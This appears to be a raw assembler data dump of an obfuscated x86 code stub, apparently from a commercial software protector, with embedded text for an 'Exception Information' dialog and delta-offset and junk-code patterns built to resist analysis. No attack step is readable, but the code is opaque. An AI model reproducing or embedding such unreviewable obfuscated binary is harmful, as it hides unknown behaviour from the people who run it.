dd 7D9B853h, 85890000h, 64829B9h, 0A1539D8Dh, 0D3FF064Ah dd 0D38B585Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 7FC35040h, 93FF09CAh, 0F9381AF0h, 6890Fh, 958B0000h dd 6482B85h, 0D981C08Bh, 43112ABDh, 6149BF66h, 56006A50h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 226C6FFDh, 24B2D189h, 8166A1F2h, 8B98B8E2h, 0D3BF0FD8h dd 3820F52h, 66000000h, 535FCF8Bh, 1459D8Dh, 38B0648h dd 438B0389h, 50438950h, 0F8059D8Dh, 38B064Ah, 8B5B0389h dd 18830FCEh, 60000000h, 7798529h, 0AE80648h, 7D000000h dd 93F45E5h, 59C6FDDAh, 66615F42h, 38FAC281h, 80B1006Ah dd 0F805858Dh, 0F181064Ah, 0E519AAAh, 69BD8B50h, 6A064817h dd 0DD958B60h, 8D064802h, 48014585h, 4DBD2B06h, 50064829h dd 0E34490BAh, 6A006A42h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0E336EEC0h dd 29664898h, 4803BD95h, 18006806h, 0BF0F0000h, 6A53D6h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 99303BC3h, 0C281669Dh, 95FF38A1h, 64805EDh, 2EB5B529h dd 95FF0648h, 648177Dh, 0AF99BA66h, 0F86CB5FFh, 0EA81064Ah dd 5EAB945Eh, 6820Fh, 0BD890000h, 6481409h, 0E7195FFh dd 9EB50648h, 145858Dh, 8D330648h, 64829A1h, 6A18408Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 4C9DC355h, 8B30FDB4h, 1F54DBFh, 481A159Dh dd 5185C706h, 64828h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8350C355h, 4808BDBDh dd 840F0006h, 39h, 21AB1FBFh, 8C3D64h, 830F0000h, 1D3h dd 14F98D29h, 32E90648h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 7B28C356h dd 963D3Dh, 830F0000h, 19Fh, 3810Fh, 0E6800000h, 9F858D8Ah dd 0B005AF5h, 482BED95h, 80D0FF06h, 858D83E9h, 5AEFF2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FEC35646h dd 0ADFA6DAEh, 8166D0FFh, 8BD1B6F1h, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0C7862BACh dd 5840Fh, 81660000h, 830E69EFh, 481299BDh, 9750006h, 0D35BD83h dd 74000648h, 8B535019h, 0BC6B8C0h, 85890000h, 64829B9h dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h dd 0BC6B853h, 85890000h, 64829B9h, 0A1539D8Dh, 0D3FF064Ah dd 0BE8585Bh, 0DB000000h, 0DF7A34A4h, 70F26DD6h, 0BF603BD1h dd 0A4ACD65h, 5F615850h, 6FB3D781h, 0C08B1EDBh, 17AD8529h dd 0F8830648h, 51850FFFh, 0F000000h, 85C7C8BFh, 6483291h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 16C35545h dd 7D54C957h, 0E9FB315Eh, 15Bh, 1EF58D8Bh, 3AE90648h, 89000000h dd 480AF9B5h, 6E906h, 22900000h, 0B2DFB645h, 0F01F883h dd 2085h, 6870F00h, 8B000000h, 480B918Dh, 0F9BF0F06h, 184E9h dd 858D8B00h, 31064808h, 4827F1BDh, 0F037E906h, 6AFFFFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0F1D4EBC3h, 0DE9ABh, 4A910000h, 862EF6FDh, 9E05D2ACh dd 8B723EA0h, 0E689B9C0h, 0BD8319A2h, 6481299h, 83097500h dd 480D35BDh, 19740006h, 0C08B5350h, 7DDB8h, 0B9858900h dd 8D064829h, 4AA4649Dh, 5BD3FF06h, 35BD8358h, 6480Dh dd 53501774h, 7DDB8h, 0B9858900h, 8D064829h, 4AA1539Dh dd 5BD3FF06h, 59858958h, 6006481Bh, 2F85B589h, 0D98B0648h dd 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 76F93479h, 8B66893Ch, 0FC08BD6h, 1785h dd 12E900h, 75E50000h, 0F6F05F62h, 0D391F37Bh, 4097E89Ah dd 23FFD95Bh, 1289958Bh, 86E90648h, 6A000002h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 7268C357h, 8D583F0Eh, 897F9880h, 4802FD95h, 0D58D0106h dd 8D06480Ah, 4AF60985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 516132EAh, 99616A28h dd 0F5B9663Ch, 18589A0h, 0E8064AF8h, 8, 195FC125h, 0CE2C63A0h dd 16D99509h, 0F590648h, 38Dh, 0D68B6600h, 53E9h, 0A9958B00h dd 8B06480Ah, 482E7D8Dh, 11858D06h, 0B1064AF4h, 6A40D0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 240644C3h, 0DE952C6h, 0BE000000h, 51F969A9h, 0F707DDD0h dd 42DBB4C2h, 1A21958Bh, 85890648h, 64AF801h, 858D346Ah dd 648009Dh, 1B5FF50h, 6A064AF8h, 0D595FF00h, 83064815h dd 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h, 0FCh, 0FF985C6h dd 68560648h, 9CA8B852h, 0ED5B5FFh, 858D0648h, 64838BAh dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 4AF87485h dd 0F985C606h, 4706480Fh, 18AC9B68h, 0D5B5FFECh, 8D06480Eh dd 4838BA85h, 0FFD0FF06h, 0C6F08BD0h, 480FF985h, 61684F06h dd 0FFC62F26h, 4827C5B5h, 0BA858D06h, 0FF064838h, 709D8DD0h dd 53064AF8h, 0FF56286Ah, 75C085D0h, 0F985C600h, 4106480Fh dd 87649868h, 0C5B5FFDBh, 8D064827h, 4838BA85h, 89D0FF06h dd 4AF88D85h, 0F985C606h, 4C06480Fh, 0A4E7A468h, 0C5B5FF80h dd 8D064827h, 4838BA85h, 8BD0FF06h, 4AF8749Dh, 45B8D06h dd 799D8D53h, 53064AF8h, 0D0FF006Ah, 0F8749D8Bh, 3C7064Ah dd 1, 20C43C7h, 0C7000000h, 48098985h, 6, 6A006A00h, 8B006A00h dd 4AF8749Dh, 6A5306h, 0F870B5FFh, 95FF064Ah, 64AF88Dh dd 0FF985C6h, 68450648h, 92A5F797h, 2F2DB5FFh, 858D0648h dd 64838BAh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h dd 0F8749D8Bh, 43C7064Ah, 0Ch, 6A006A00h, 749D8B00h, 53064AF8h dd 0B5FF006Ah, 64AF870h, 0F88D95FFh, 0B5FF064Ah, 64AF870h dd 177D95FFh, 6A0648h, 1AD995FFh, 8D8B0648h, 6482A39h dd 12E9h, 7180FC00h, 0C69C38CDh, 0C61BBE1Ah, 62EE745Fh dd 8B6722EAh, 482F01BDh, 45858D06h, 0F064B2Eh, 2950F9B7h dd 481695BDh, 35FF6406h, 0 dd 7E9h, 96298400h, 283A045Fh, 258964h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 683EC355h, 80815648h, 0BD2B61E2h, 64814E9h, 2ACA8166h dd 2DBD832Fh, 64820h, 5C840Fh, 8D290000h, 64831B1h, 6860Fh dd 0BD290000h, 64812DDh, 30E5BD83h, 0F010648h, 3D85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BF6637D9h, 24B6EDA5h, 0FC8DBD80h, 0F00064Ah, 0D85h dd 0C1816600h, 6EE93313h, 0F000001h, 0DB33CAB7h, 0A138A1B9h dd 8BC03322h, 9E9D3h, 0DB230000h, 677F5403h, 40DA42A3h dd 0B073F0Fh, 58F64h, 83000000h, 10E904C4h, 24000000h dd 0F2E33005h, 2F1D9AD6h, 2A212437h, 3105BBB9h, 482E799Dh dd 0FB83F806h, 13840FFFh, 31000000h, 48073D9Dh, 0B5BA6606h dd 105E917h, 0BA660000h, 7EE9CC24h, 0E9000000h, 0Dh, 0E04AE2F9h dd 19A5D1D2h, 9B5B8A8Eh, 8E9F3h, 68230000h, 0BD6F34B7h dd 4C8B8650h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h dd 5C8BC3C0h, 0E8550C24h, 0 dd 67ED815Dh, 8B064B2Eh, 0B883h, 2C858D00h, 89064B2Fh dd 0B883h, 0C0335D00h, 6AF18AC3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0ED31C350h dd 5D858D84h, 89064B2Eh, 48274D8Dh, 6A5006h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 448DD4C3h dd 0F274D38Bh, 64A19B51h, 35FFh, 0BE90000h, 8E000000h dd 8CC12069h, 15B111A3h, 89644871h, 25h, 1BD8900h, 0B906481Fh dd 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h, 4830F185h dd 106h, 58F6400h, 0 dd 6604C483h, 9181C281h, 14E9h, 2F0BCF00h, 19834F15h, 4CB2490Ch dd 8C6F9DC3h, 3FC3691h, 6AC08B07h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0E4C8C355h dd 0A4E21B5Ah, 1299BD83h, 75000648h, 35BD8309h, 6480Dh dd 53501974h, 3DB8C08Bh, 89000004h, 482FF985h, 0CB9D8D06h dd 0FF064AA4h, 83585BD3h, 480D35BDh, 17740006h, 3DB85350h dd 89000004h, 482FF985h, 6C9D8D06h, 0FF064AA1h, 6A585BD3h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0C739C357h, 30FADEE6h, 4CF61BCEh, 6E9h, 178A5200h dd 0F7B0FA5h, 386h, 0CEBF0F00h, 0E9C08BFCh, 13Ah, 4, 35382E31h dd 35h, 6 dup(0) dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh dd 64815C1h, 2D840F00h, 8D000001h, 4A9F8385h, 858D5006h dd 64A9EEDh, 16850h, 95FF8000h, 64A9F93h, 3003858Dh, 8D50064Bh dd 4B300D85h, 6A5006h, 858D006Ah, 64A9F01h, 83B5FF50h dd 0FF064A9Fh, 48162195h, 3858D06h, 50064B30h, 3011858Dh dd 6A50064Bh, 8D006A00h, 4A9F1385h, 0B5FF5006h, 64A9F83h dd 162195FFh, 858D0648h, 64B3003h, 1D858D50h, 50064B30h dd 6A006Ah, 9F60858Dh, 0FF50064Ah, 4A9F83B5h, 2195FF06h dd 8D064816h, 4B300385h, 858D5006h, 64B3025h, 6A006A50h dd 7E858D00h, 50064A9Fh, 9F83B5FFh, 95FF064Ah, 6481621h dd 3003858Dh, 8D50064Bh, 4B302185h, 6A5006h, 858D006Ah dd 64A9F67h, 83B5FF50h, 0FF064A9Fh, 48162195h, 3858D06h dd 50064B30h, 3015858Dh, 6A50064Bh, 8D006A00h, 4A9F6F85h dd 0B5FF5006h, 64A9F83h, 162195FFh, 858D0648h, 64B3003h dd 19858D50h, 50064B30h, 6A006Ah, 9F76858Dh, 0FF50064Ah dd 4A9F83B5h, 2195FF06h, 0FF064816h, 4A9F83B5h, 2595FF06h dd 0E9064832h, 0A2h, 1651BD83h, 0F000648h, 9584h, 0E5BD8300h dd 64830h, 11850Fh, 958B0000h, 648182Dh, 1CF8C281h, 0FE90000h dd 8D000000h, 48014595h, 34528B06h, 0C340C281h, 95893BD4h dd 648289Dh, 289DBD83h, 0F000648h, 5584h, 9D9D8B00h, 83064828h dd 38B4CC3h, 300D8589h, 9D8B064Bh, 648289Dh, 8B50C383h dd 11858903h, 8B064B30h, 48289D9Dh, 54C38306h, 8589038Bh dd 64B301Dh, 289D9D8Bh, 0C3830648h, 89038B58h, 4B302185h dd 9D9D8B06h, 83064828h, 38B5CC3h, 30158589h, 0BD83064Bh dd 64815C1h, 0D850F00h, 83000000h, 481651BDh, 840F0006h dd 68h, 3025B5FFh, 0B5FF064Bh, 64B3019h, 3015B5FFh, 0B5FF064Bh dd 64B3021h, 301DB5FFh, 0B5FF064Bh, 64B3011h, 300DB5FFh dd 858D064Bh, 64B3007h, 3F858D50h, 50064B30h, 1CE5858Dh dd 0FF500648h, 48286195h, 24C48306h, 858D406Ah, 64B3029h dd 0E5858D50h, 5006481Ch, 95FF006Ah, 64815D5h, 95FF016Ah dd 6481AD9h, 8060C18Bh, 0C08BC3C9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 37C35343h, 5F640DB7h, 5E9h dd 81CBFB00h, 83F5D59Dh, 481299BDh, 9750006h, 0D35BD83h dd 74000648h, 8B535019h, 40EB8C0h, 85890000h, 64829B9h dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h dd 40EB853h, 85890000h, 64829B9h, 0A1539D8Dh, 0D3FF064Ah dd 0E857585Bh, 0Dh, 39D52F4Bh, 910E2CA3h, 0BC936BA0h, 5E6160E7h dd 56006A5Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 6E985C1h, 62000000h, 52A83713h, 6AC08B7Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 8F50C350h, 3243EAADh, 83F43020h, 48202DBDh dd 840F0006h, 6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0CDC35141h, 9E88E55h, 0B8000000h, 1EABEEEFh dd 45C7AE78h, 13E9h, 0CFE7B400h, 0E013A5F3h, 0C081E405h dd 95AF3477h, 54DBF690h, 261E95Ah, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 986B67C3h dd 39E4FD80h, 81DF8C7Ch, 0A50262C9h, 0C7F7664Eh, 850F0004h dd 22Bh, 1C830Fh, 10E80000h, 9B000000h, 0FA0D4583h, 873B824Dh dd 41C50563h, 0F918EAEh, 8Dh, 0FF2B5900h, 8B0FF960h, 15h dd 0FE8h, 97794600h, 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh dd 9D8D6159h, 64B36E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 69C35747h, 5E57F521h, 0BA6693EBh, 66505B57h dd 939885BEh, 3840Fh, 0F9570000h, 35FF6459h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B1C35646h dd 91DD22B8h, 0DBF45115h, 258964h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 2B51C350h, 7E746F35h, 8B96FED6h, 0BDC981C4h, 0CD4891E2h dd 6A00EB01h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 253DC356h, 0F64FBCBh, 128Eh, 0DE900h dd 21470000h, 0B2A0C26Bh, 8173A1DDh, 0E99CE675h, 10h, 0C48616FCh dd 0C064A044h, 0C464D430h, 10B401F2h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 6BC35747h, 1F769AB9h, 8F643E4Ch dd 5, 11E900h, 0D29B0000h, 0FEEE580Ah, 0B737387Eh, 0C25F640Dh dd 83DC1A8Ch, 6A04C4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0FAF8EC3h, 6651DFE5h, 0BD81F181h dd 0D3BF0F5Ah, 840FC00Bh, 8Bh, 0BE9h, 5B3D9A00h, 0B235B4A4h dd 3F9B1780h, 0FA0EBA61h, 80603775h, 8D6103CFh, 487286BDh dd 0BF0F6006h, 0BA61F9C1h, 0A3840FAh, 1B8h, 81E7FF00h dd 85EFFBC2h, 5C8B5769h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh dd 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 6C55C356h dd 0C72824E0h, 64B6C88Bh, 81F56060h, 0A3C69DD8h, 61616141h dd 8BF7B70Fh, 71BE66C0h, 99BD83A6h, 64812h, 0BD830975h dd 6480D35h, 50197400h, 0B8C08B53h, 40Eh, 2FF98589h, 9D8D0648h dd 64AA4CBh, 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h dd 40Eh, 2FF98589h, 9D8D0648h, 64AA16Ch, 585BD3FFh, 0DFC68166h dd 52006A0Ch, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0F41F6E79h, 57648579h, 10E9h, 4CC07000h dd 4EEA6669h, 5BF6103Eh, 5773CF67h, 6AC08BBCh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 1AD1C351h, 21E6F0EFh, 0D506A7D4h, 0CE8C28Bh, 0C0000000h dd 46A6A4FDh, 6AD5164Dh, 0FEB700Ch, 0E959F6BFh, 14h, 3D5CD6DCh dd 786CCD7Dh, 4D88FDFCh, 88AB5018h, 5C0CF6DBh, 6134C181h dd 820F0000h, 5, 0D3A8F9BEh, 80D22B0Eh, 1C8B71DCh, 1EEF8111h dd 8159A45Ch, 2D4DE1C3h, 0FFB70F0Fh, 0DCE0F381h, 88BE0945h dd 8154E7CBh, 90DA03C3h, 6E914h, 0BEB30000h, 0E09FA3F2h dd 60111C89h, 9E8h, 379D5B00h, 3D010D82h, 616004F0h, 860F6159h dd 0 aBJTCybJS db 'êÆJ;(¿T\—yÂÂJ;(é',0Dh,0 dd 43120000h, 0B688205Ah, 53093624h, 81A02CBDh, 0FF9FA4FAh dd 1A850FFFh, 0F000000h, 68Fh, 55C78100h, 0E90EC25Ch, 13h dd 8AF41A34h, 0DD3D7CF9h, 0FF68E952h, 8634FFFFh, 0EBEE44DAh dd 46F31718h, 9Bh, 4 dup(0) dd 20BE900h, 8B600000h, 0E824245Ch, 0 dd 0FBED815Dh, 61064B38h, 0E90004C2h, 0FFFFFFE6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0) dd 0E9C36160h, 0FFFFFFF8h, 3933B58Bh, 0E681064Bh, 0FFFFF000h dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3937B53Bh, 860F064Bh dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 48289D85h, 0A188606h dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh dd 82474FFh, 80D95FFh, 0F500648h, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 48289D85h, 0C606h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 9D858B00h, 86064828h, 0FDB0A18h, 0FFFFF685h, 2185C7FFh dd 64810h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 102185C7h, 1000648h, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh dd 0D88C66C3h, 840F04A8h, 29h, 38D885C7h, 1064Bh, 0F500000h dd 0FE244C01h, 38DC858Fh, 858D064Bh, 64B38D4h, 38DCBD8Dh dd 3889064Bh, 23E9h, 45858D00h, 8B064801h, 17053840h, 899B46F3h dd 4B38D485h, 45858D06h, 8B064801h, 85893C40h, 64B38D8h dd 38F1858Dh, 8589064Bh, 648080Dh, 87E9h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 33535156h dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h dd 8C25Ah, 3B64858Dh, 8589064Bh, 64830A1h, 3B8C858Dh, 8589064Bh dd 6481731h, 3BB4858Dh, 8589064Bh, 6482725h, 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 64830E5h, 7182858Dh, 88B064Bh, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 3C158D89h, 0BD83064Bh, 64808BDh, 0F840F00h dd 60000000h, 95FF006Ah, 648092Dh, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 1185895Ah, 8B064B3Ch dd 4B3C15B5h, 10CEC106h, 2728966h, 3C15B58Bh, 8966064Bh dd 8B61FC72h, 4B3C1185h, 958DC306h, 6482041h, 289D9589h dd 95890648h, 6481551h, 155185FFh, 85C60648h, 6480FF9h dd 48D86853h, 0B5FFFCB1h, 6480ED5h, 38BA858Dh, 0D0FF0648h dd 92D8589h, 858D0648h, 64B390Bh, 20398589h, 0EB0648h dd 5F1E9h, 5E5E900h, 0E2680000h, 0E9064B3Dh, 0FFFD4181h dd 4B3EF068h, 4177E906h, 8668FFFDh, 0E9064B3Fh, 0FFFD416Dh dd 4B405B68h, 4163E906h, 9D68FFFDh, 0E9064B41h, 0FFFD4159h dd 7818179Eh, 0E183862Ch, 553712B5h, 0D8B8B939h, 432120CCh dd 0CF6B5320h, 6CF2AECAh, 0FA871371h, 6A0985E7h, 3F560D6Fh dd 6F70296Fh, 7611B77Ch, 2432FD47h, 32AFE976h, 581F7624h dd 42762432h, 76243302h, 2432B1F4h, 325D2776h, 8CB7F624h dd 0CA0757CEh, 0E3FC6C4Bh, 18F7DCAEh, 35A07420h, 6C571F59h dd 6CC2ADFCh, 18B4234Ch, 710B9A9Dh, 475AE7F5h, 62C8A9C6h dd 5CAF4A46h, 5265BC4Fh, 821592E9h, 0E1D593EBh, 84E3FC6Ch dd 2B830DF3h, 7BD3C411h, 0ED97297Ch, 6D099BE8h, 119E1F6Ch dd 26DAE5B9h, 6D071048h, 0C06CDBFCh, 0CA85FA88h, 0E570F1BEh dd 0B460B489h, 8B7F002h, 92A513BDh, 4066148Bh, 67000004h dd 0F5A1C3DEh, 722E4A4Fh, 692FEEDh, 9501637Eh, 6B88E8E9h dd 0B3B6320Ah, 2623C5D1h, 0ACA34E5Ah, 5453D0CCh, 0B6089F34h dd 7C6F6FF2h, 85BF68FEh, 3C8AFBFEh, 76243279h, 730001ADh dd 0F2839E21h, 0E1F8D341h, 0F1949454h, 0C0459A41h, 60032996h dd 0E88B0765h, 670C9CEDh, 0C55BF560h, 64CAABD8h, 8E7D4F57h dd 0BEDAD95Ah, 0E10AE51Eh, 3A13FDDh, 0FA960000h, 6F0C7D78h dd 0FE85BCC7h, 3A4B56E8h, 0F88FFC7Dh, 1CF8D883h, 99318DAFh dd 243C7A3Bh, 62D99576h, 0D1CA35BEh, 9B9AE712h, 14CFAD2Ah dd 2E6B2D81h, 3E797625h, 0B3B63341h, 3B3EC5D1h, 829310ACh dd 252E6C2Ch, 0BE3F7876h, 6D0AA0C1h, 17671323h, 76252F51h dd 0F193109Fh, 8C1B1EA5h, 2EDF99F5h, 91ED7625h, 0C1691613h dd 4540E6B2h, 0B1B43ED2h, 95DF8919h, 0C376252Eh, 1BB5203Dh dd 88E9869Bh, 3B9522h, 0B6F3CB5Ah, 27C6D37h, 27D1DA65h dd 28E70C5Ch, 332BAh, 0F5CC7500h, 7C79FB97h, 0E0FF801Ch dd 956C1480h, 1A1F9BF7h, 447C557Eh, 0CFDBB9B8h, 504C2C39h dd 0DAB6D2D5h, 0A53E5A59h, 70FCBC12h, 76C87C6Fh, 0FBFE85ADh dd 7E75FE8Ah, 45DA7601h, 0E2482946h, 1EA69036h, 0E3908F10h dd 0EF970582h, 59F79512h, 7624335Bh, 0F0EF700Ch, 0CE76E283h dd 377D5BF3h, 6D762443h, 0E6B1CEDBh, 39BBAF4Ah, 0A1CEBF3Ch dd 43094B09h, 38037624h, 0D56C0392h, 2442BFF9h, 0CC620D76h dd 6C6D938Eh, 6DD0DF7Ch, 0C5CE384h, 9C5DCD42h, 3000002h dd 910D6F62h, 1E8A1613h, 0A2FE9A89h, 316D0F02h, 0CFD4B4B5h dd 5F52DEE6h, 0C2DF613Dh, 484FEAA6h, 0F0F77C28h, 0D2ACC390h dd 7C6F7196h, 850B9C22h, 0FE8AFBFEh, 0B2E77E75h, 505AC51Eh dd 2A976484h, 0AA715C29h, 0C6DCDB73h, 82C6982Fh, 4E76251Fh dd 302DB321h, 0D28C2243h, 393CC76Dh, 14717AEh, 0CF762520h dd 0B0AF30A0h, 7C0CA2C3h, 0E1E327DCh, 1F9FDDDh, 47260000h dd 762432FDh, 7988E2Bh, 8D0A6B18h, 3336B3EFh, 617E3342h dd 9EA397ECh, 600D8D25h, 11BDF661h, 1D2F2786h, 0E2FFE245h dd 4DD97B91h, 0FEB0D6E5h, 5B5EDB01h, 0B3AE30CCh, 34EF8F1Bh dd 0EEDDE1B0h, 48h, 0DC7EB935h, 37FC7549h, 2F487C6Ch, 5D17F790h dd 0D04EC10Ch, 1C7h, 385857DEh, 0A1C3C66Ch, 157752F5h dd 98F8F979h, 361600Ch, 0FAB93E0h, 0AC326E0Ah, 3AC7D3B1h dd 0AA494527h, 7F16CDAFh, 6F72692Fh, 36D1777Ch, 1D532B42h dd 0AB762433h, 40EDBFCCh, 33410757h, 0F68F7624h, 2432E098h dd 283EC76h, 8ABE785h, 3305431Bh, 0D4D37624h, 48762657h dd 0C2B7EE8Ah, 97489B2Ch, 118129BBh, 6B029594h, 250E5513h dd 0AE046376h, 0F5FD8612h, 5ACD4A4Fh, 57243BC6h, 0A1F38056h dd 0F404F61Fh, 6ADC630h, 7AFFB99h, 6846590Ah, 76251D30h dd 2520C759h, 9F370AB7h, 95E79413h, 0EBAD01F2h, 0F976251Ch dd 0FA631BEh, 251CF9BFh, 12B8C776h, 7C1E2676h, 0D2AF57E9h dd 0AB258DA1h, 58FE53EEh, 0ABB6495Bh, 76551FC9h, 84BF7624h dd 0F67F4FC6h, 427C6C88h, 811BB225h, 0E996E7E2h, 5653D141h dd 125628BFh, 0DE7C6C88h, 386979D1h, 0AE0403A4h, 344540E2h dd 4FC6D964h, 1240BF5Ah, 28E4918Ch, 6512B8AEh, 1947117h dd 84DAD96Fh, 7C6D1CC4h, 99169710h, 7705B218h, 0C884F5D0h dd 26BA2DEFh, 662F879Ah, 0B5462108h, 0B3314D82h, 7B609B6h dd 3112A45Ah, 85C07Eh, 99180000h, 4AEFA86h, 90376301h dd 3BBBD7B5h, 0A24E5A26h, 0D1A6CDAFh, 2C4C4DE9h, 91F3EE70h dd 1B797805h, 83E1E48Fh, 0A7E1BDD0h, 357C6F73h, 0FE85F093h dd 75FE8AFBh, 779017Eh, 14139058h, 0E3FE474h, 10E5DDE1h dd 3E000000h, 2432FE47h, 8A892A76h, 0B50EEh, 47B70000h dd 762432FDh, 0EF8D882Bh, 47EC8044h, 0A643340h, 7624334Eh dd 369C1D9Ah, 0C1BD493h, 4B000000h, 85C39B32h, 53762432h dd 85E5FE54h, 494E5FCh, 790B787Fh, 0FC8CFDFCh, 